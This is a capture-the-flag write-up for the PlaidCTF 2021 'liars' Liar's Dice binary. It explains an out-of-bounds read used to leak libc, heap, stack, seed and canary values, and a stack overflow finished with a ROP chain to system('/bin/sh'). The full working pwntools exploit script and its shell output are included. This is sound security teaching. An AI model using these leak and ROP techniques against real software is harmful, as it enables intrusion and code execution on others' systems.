# Intro

Full disclosure, I completed this challenge after the competition (it looked kinda interesting and I was disappointed that nobody had posted a solution).

Lets take a look at the protections on the binary:
```
$ checksec liars
[*] '~/CTF/plaid/2021/liars/liars'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$
```
and the supplied libc:
```
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$
```
Looks pretty standard, all the usual protections turned on and a reasonably up-to-date libc (libc database identified it as libc6_2.31-0ubuntu9.2_amd64).

If you run the binary you find we're about to play a game of [Liar's dice](https://en.wikipedia.org/wiki/Liar%27s_dice), it asks for a number of players (in the range 4 to 10) and then prints the rules:

```
$ ./liars
Welcome to Liar's Dice!

How many players total (4-10)? 4

The game works like this:
Each player starts the game with the same number of dice. At the beginning of each round, all players roll their dice.

Each player keeps their dice values a secret. Players take turns placing "bets" about all the dice rolled for that round.

A bet consists of a die face (1-6) and the number of dice that player believes were rolled. Once a player places their bet,
the next player may decide to raise the bet, call the last player a liar, or say that the last bet was "spot on."

1) If the player chooses to raise the bet, they must either increase the number of dice, the die face value, or both. They may not decrease either value.
2) If they believe the last bet was wrong, then all players reveal their dice. If the bet was valid, the challenger loses a die. Otherwise, the better loses a die.
3) If they believe the last bet was exactly correct, and they are right, they are rewarded with an extra die.

Once a player has no more dice, they are eliminated. The last player standing, wins.
Have fun! And remember, no cheating!

```

You can then do some actions before the round begins (you are limited to the same number of actions as there are players):

```
Game started!

New round!

0) Roll to start round
1) Check player's number of dice
2) Change your spot
3) Number of players left
4) Leave
```

After you select 0 (or exhaust your number of actions) it will then start the round, print out your dice roll and you will need to play your turn by either betting or calling the last player a liar etc:

```
1) Print dice vertically
2) Print dice horizontally
2

Your dice:
----- ----- ----- ----- -----
| | |o o| | o| | | | o|
| o | | o | | o | | o | | o |
| | |o o| |o | | | |o |
----- ----- ----- ----- -----

Player 0's turn
Bet 1 1

Player 1's turn
Bet 2 1s

Player 2's turn
Bet 3 1s

Player 3's turn

0) Bet
1) Liar
2) Spot On
3) Leave
```

# Finding the vulns

## fgets bug
If we look through the code for playing a game, we quickly see the following code which we can reach by winning the game:

The size of that name buffer on the stack is only 520 (0x208) bytes, so a clear fgets stack overflow, with the only issue being the stack canary.

It's obvious we need a leak of some kind, if we can get that at least that stack canary value then we can start thinking about modifying the control flow (a libc leak would also make things a lot easier).

## OOB Read bug
This next bug can help with that:

It's checking the index is not larger than the number of players, but the value returned from get_num is signed and so we can pass a negative value to read beyond the start of the array.

The array itself is on the heap (it's size is allocated based on the number of players):

In the dump of the heap above, the array starts at 0x55555555c4a0 and has the number of dice (5) for all 10 of the players (each stored as an int).

This allows us to do:
```
Player? -2
They have 49 dice
```
Which is us leaking the size field of our own malloc chunk (0x31)

We have to be mindful that if we want to leak a full 8 byte address thats going to require two reads (and some bit shifting to construct the result) and we can take care of that with a wrapper function, but it does mean we'll probably want all 10 players to give us 5 quadword reads.

# Picking our leaks

## Leak number 1
Eagle eyed viewers might have spotted in the heap dump that nearby on the heap (0x55555555c470) was a libc address (0x00007ffff7fc3f60), this is actually __GI__IO_wfile_jumps (but that’s not important).

We can use this first leak to calculate the base address of libc, which is bound to come in handy later when we want to build a ROP chain.

## Leak number 2
If I’d shown even more of the heap going backwards, we eventually hit the [tcache structure](https://dangokyo.me/2018/01/16/extra-heap-exploitation-tcache-and-potential-exploitation/) on the heap. This contains a pointer to a chunk in the 0x1e0 tcache bin:
```
…
0x55555555c170 0x000055555555c2a0 0x0000000000000000 ..UUUU..........
…
0x55555555c290 0x0000000000000000 0x00000000000001e1 ................
0x55555555c2a0 0x0000000000000000 0x000055555555c010 ..........UUUU.. <-- tcachebins[0x1e0][0/1]
…
```
By leaking this address (or any of the other heap addresses in that area) we can find the address of the start of our array that we are able to index backwards from.

## Leak number 3
The cool thing about our index being words rather than bytes is that it means our value is effectively getting multiplied by 4 when its added. Which means by providing a sufficiently large negative value, the address will wrap and we can start to read forwards :)

This, along with knowing the base address of the array, has turned our relative read into an arbitrary read!

Our goal is still that stack canary, but to get that we’d need to know the address of the stack. Well.. given an arbitrary read and a known libc base address we can leak the value of environ. I got the idea from this page (so credit to them): [CTF-pwn-tips](https://github.com/Naetw/CTF-pwn-tips#leak-stack-address)

To give a quick idea on it:
```
pwndbg> x/gx &environ
0x7ffff7fc62e0 <environ>: 0x00007fffffffe078
pwndbg> x/gx 0x00007fffffffe078
0x7fffffffe078: 0x00007fffffffe3a7
pwndbg> x/s 0x00007fffffffe3a7
0x7fffffffe3a7: "SHELL=/bin/bash"
pwndbg>
```

So by leaking this we now have an address on the stack to work from.

## Leak number 4
Using the stack address we’ve obtained we can then move relative to there to grab a canary value from the stack (they are used on lots of the functions, so there are multiple to chose from, but they all have the same value). I just set a breakpoint in gdb, used ‘backtrace’ to get a list of frames and then ‘info frame <frame number>’ to pick one I knew would have a canary I could then use to calculate the offset from the environment variables.

## Leak number 5
Surely we’re done right? Well.. while we’re leaking things of the stack, we should have a look at main: 

We can see it’s seeding its random number generator by reading 4 bytes of random from ‘/dev/urandom’ and then passing them to srand. Since those bytes are stored on the stack we can leak those also and use them to seed our own copy of libc and thus know the results of subsequent calls to rand.

I tested this early on with printing the values I expected and then the dice rolls the game generated:
```
[+] Seeded our own copy of libc with leaked seed
[1, 6, 1, 6, 6]
[*] Switching to interactive mode
It's time to start the round!

1) Print dice vertically
2) Print dice horizontally
$ 2

Your dice:
----- ----- ----- ----- -----
| | |o o| | | |o o| |o o|
| o | |o o| | o | |o o| |o o|
| | |o o| | | |o o| |o o|
----- ----- ----- ----- -----

```

This might sound like too much cheating but as you will see, it’s just levelling the playing field.

# The computer is a dirty cheater
You might think at this point we could just play the game, have a ‘fair fight’ and eventually we would win the game and be able to reach the overflow code with all the information required to pop a shell..

However, observant viewers will notice I labelled a malloc block in the above code ‘computer_cheats’. You can see it back in the initial heap dump (it’s the block before the one our read is based at). Basically when the dice rolls are happening, the computer secretly updates this block with the totals of each dice face. Each time a one is rolled, the int in that structure at the first index is incremented by one.

Using this the computer will always know if you’re lying or when you’re exact, so even if you can predict the highest truthful score each time they can just call “spot on” and get an extra dice. So with everybody at the table cheating wildly, how can the game ever end?

For that, we have to rely on one final bug, this time in the code that calculates the dice rolls:

You can see the update_computer_cheats function which increments the computer_cheats array on the heap. However, what’s interesting is that each individual roll is stored separately in an array, I’m calling dice_values, on the stack. It’s from this array that the game displays your dice rolls and check any “lie” or “spot on” call.

The bug is that they only allow for a maximum of 5 (the starting value) dice per player and yet by correctly calling “spot on” you can gain dice (with no cap on the number of dice). This means the 6th (or above) roll of a player, will get ignored by the checking functions, however they will be counted in the computer_cheats array, meaning the computer players would be working from false information.

# Playing the game
The bit isn’t really interesting from an exploitation point of view, you just need to keep track of the state of the game (so you know what options to select) and then number of dice per player (and call rand for, but ignore the result of, any player rolls past their 5th dice).

In terms of strategy for the game:
1. If you go first this round, or the player before you made a correct (but not exact) call, then just bet with the highest possible score (accepting that until confused the next computer player will call “spot on” and gain a dice)
2. If the computer player bets an exact value, call “spot on” and gain a dice. Initially we don’t care who gains dice, we just need it to happen so the computer gets confused.. but eventually we need to cause all the computer players to lose their dice, so lets work toward that aim
3. If the computer player calls an incorrect value, call “lie”. This is exactly what we are aiming for and the only way the game will end.

# How do we then win, once we’ve “won”?
Once you eliminate your last opponent the game will ask for your name and allow you to overflow the buff. We just need to pad until we hit the canary (which we know the value for) then give a fake RBP value and then start our ROP chain.

I just went straight for calling system(“/bin/sh”), adding an extra “ret” to fix the [stack alignment issue](https://stackoverflow.com/questions/54393105/libcs-system-when-the-stack-pointer-is-not-16-padded-causes-segmentation-faul).

# Running the exploit
```
$ ./exploit.py REMOTE
[*] ‘~/CTF/plaid/2021/liars/liars'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RPATH: b'.'
[*] ‘~/CTF/plaid/2021/liars/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to liars.pwni.ng on port 2018: Done
[*] leaked libc address: 0x00007fd71f1b8f60
[*] calculated libc base: 0x00007fd71efcc000
[*] leaked heap address: 0x0000562187a112a0
[*] calculated read base: 0x0000562187a114a0
[*] leaked environ addr: 0x00007fff7a757a28
[*] calculated seed addr: 0x00007fff7a757914
[*] leaked seed value: 0x00000000b8ec434f
[*] calculated cookie addr: 0x00007fff7a757438
[*] leaked canary value: 0x031c0ca0172c8100
[+] Seeded our own copy of libc with leaked seed
[*] We beat all the computer players
[*] Loaded 201 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
$ ls -l
$ id
$ cat flag.txt
total 24
-rw-r----- 1 root ctf 33 Apr 17 14:13 flag.txt
-rwxr-s--- 1 root ctf 18568 Apr 17 14:55 liars
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
PCTF{th3r3_1s_4_pl4n_133ae44d07}
$ 
```

# Final code
```
#!/usr/bin/python3
from pwn import *
from ctypes import *

elf = context.binary = ELF("./liars")
libc = ELF('./libc.so.6')
cdll.LoadLibrary("libc.so.6")
clibc = CDLL("libc.so.6")

gs = '''
continue
'''
def start():
if args.REMOTE:
return remote('liars.pwni.ng', 2018)
elif args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)

def sl(l): io.sendline(l)
def sla(d,l): io.sendlineafter(d,l)
def rl(): return io.recvline()

def int32_to_uint32(v):
if v < 0:
return 0xffffffff - abs(v) + 1
else:
return v

def relative_read(offset, forward=False):
# offset needs to be negative and in half words
if not forward:
value = offset / -4
else:
value = -4611686018427387904 + int(offset/4)
sl("1") # 1) Check player's number of dice
sla("Player? ", str(int(value)))
ret = rl()
if b"They have" not in ret:
error("relative_read didn't work :(")
sys.exit(1)
return int32_to_uint32(int(ret.split()[2]))

def relative_qword(offset, forward=False):
if forward:
offset_1 = offset
offset_2 = offset + 4
else:
offset_1 = offset
offset_2 = offset - 4

value = (relative_read(offset_2, forward)<<32)
value = (value | relative_read(offset_1, forward))
return value

def highest_correct_score(dice):
# work out the highest number of dice
highest_quant = max(dice)
# Now find the highest index with that value
for index, element in reversed(list(enumerate(dice))):
if element == highest_quant:
return (highest_quant, index+1)

def check_score(dice, quant, face):
# Return 0 if ok, 1 if lie, 2 if spot on
total = dice[face-1]
if total == quant:
return 2 # spot on
if total < quant:
return 1 # lie
return 0 # just ok

io = start()

# =============================================================================

num_players=10
sla("How many players total (4-10)? ",f"{num_players}")
io.recvuntil("4) Leave\n")

# =-=-=- Leak a libc address =-=-=-

leaked_libc_addr = relative_qword(48)
info(f'leaked libc address: 0x{leaked_libc_addr:016x}')
libc.address = leaked_libc_addr - libc.sym.__GI__IO_wfile_jumps
info(f'calculated libc base: 0x{libc.address:016x}')

# =-=-=- Leak a heap address =-=-=-
heap_leak = relative_qword(816)
info(f'leaked heap address: 0x{heap_leak:016x}')
read_base = heap_leak + 0x200
info(f'calculated read base: 0x{read_base:016x}')

# =-=-=- Stack leak =-=-=-
dist = libc.sym.environ - read_base
environ = relative_qword(dist, forward=True)
info(f'leaked environ addr: 0x{environ:016x}')
seed_addr = environ - 276
info(f'calculated seed addr: 0x{seed_addr:016x}')

# =-=-=- Leak seed =-=-=-

dist = seed_addr - read_base
seed = relative_qword(dist, forward=True)&0xFFFFFFFF
info(f'leaked seed value: 0x{seed:016x}')

# =-=-=- Leak canary =-=-=-

canary_addr = environ - 0x5f0
info(f'calculated cookie addr: 0x{canary_addr:016x}')
dist = canary_addr - read_base
canary = relative_qword(dist, forward=True)
info(f'leaked canary value: 0x{canary:016x}')

# =-=-=- Seed our copy of libc =-=-=-
clibc.srand(seed)
success('Seeded our own copy of libc with leaked seed')

# =============================================================================

# =-=-=- Use our ability to predict the dice to beat the computer =-=-=-

players_dice_nums = [ 5 for player in range(num_players) ]
still_playing = True

while still_playing:
# print numbers of dice
debug(f'players dice nums: {players_dice_nums}')
# space to hold what computer players will crib from
computer_dice_scores = [ 0 for dice in range(6) ]
# space to hold values that count
counting_values = [ -1 for roll in range(5*num_players) ]
# loop over players and do rolling
for player in range(num_players):
roll_num = 0
while roll_num < players_dice_nums[player]:
roll = clibc.rand() % 6
# update computer score
computer_dice_scores[roll] += 1
# if we havent exceeded 5 rolls for the player
# then the value actually counts, so record it
if roll_num < 5:
counting_values[(player*5)+roll_num] = roll
roll_num += 1
# ok print the computer view
debug(f'computer view: {computer_dice_scores}')
# calculate real view
real_view = [ 0 for i in range(6) ]
for value in counting_values:
if value != -1:
real_view[value] += 1
debug(f'real view: {real_view}')

while True:
#
# Now we play
#
possible_lines = [b"0) Bet", # Time for us to bet
b"0) Roll to start round", # Triggered a new round
b"an extra die!", # Player gains dice
b"loses a die.", # Player loses dice
b"You must bet", # We're going first
b"1) Print dice vertically", # Prompt for dice printing
b"What is your name?", # We won
b"Better luck next time"] # We screwed up
data = io.recvuntil(possible_lines)

if data.endswith(b"vertically"):
# Just need to send "1" or "2" to continue
io.sendline("1")
continue
if data.endswith(b"start round"):
# Just send "0" and move on
io.sendline("0")
break
elif data.endswith(b"What is your name?"):
# Woop woop (we can finish the exploit)!
info("We beat all the computer players")
still_playing = False
break
elif data.endswith(b"an extra die!"):
# example: Player 0 gets an extra die!
result = data[data.rfind(b"Player"):]
# work out which player
player_num = int(result.split()[1])
# update dice count
players_dice_nums[player_num] += 1
elif data.endswith(b"loses a die."):
# example: Player 9 loses a die.
result = data[data.rfind(b"Player"):]
# work out which player
player_num = int(result.split()[1])
# update dice count
players_dice_nums[player_num] -= 1
elif data.endswith(b"Better luck next time"):
# Somehow we lost O_o
error("We lost")
sys.exit(0)
elif data.endswith(b"You must bet"):
# We're going first, just bet the highest correct score
quant, face = highest_correct_score(real_view)
sla(b'Die face? ', f'{face}') # send face
sla(b'Number of dice? ', f'{quant}') # send quant
else:
# Need to see what previous bet was
# example "\nPlayer 8's turn\nBet 9 1s\n\nPlayer 9's turn"
last_bet_index = data.rfind(b"\nBet ")
result = data[last_bet_index+1:].split()
quant = int(result[1])
face = int(result[2][:1])
result = check_score(real_view, quant, face)
if result == 0:
# correct bet was made (but not exact)
# just go for the highest score
quant, face = highest_correct_score(real_view)
io.sendline("0") # Bet
sla(b'Die face? ', f'{face}') # send face
sla(b'Number of dice? ', f'{quant}') # send quant
elif result == 1:
# Thats a lie, call them on it
io.sendline("1")
else:
# Thats exact, say that
io.sendline("2")

# =============================================================================

# build a little ROP chain from libc
bin_sh = next(libc.search(b"/bin/sh\0"))
rop = ROP(libc)
rop.raw(rop.find_gadget(('ret',)).address) # add a ret for alignment
rop.system(bin_sh)

buff = b'P'* 520 # pad
buff+= p64(canary)
buff+= b'B'*8 # rbp
buff+= rop.chain()
io.sendline(buff)
io.clean(0.5)

# =============================================================================
io.interactive()
```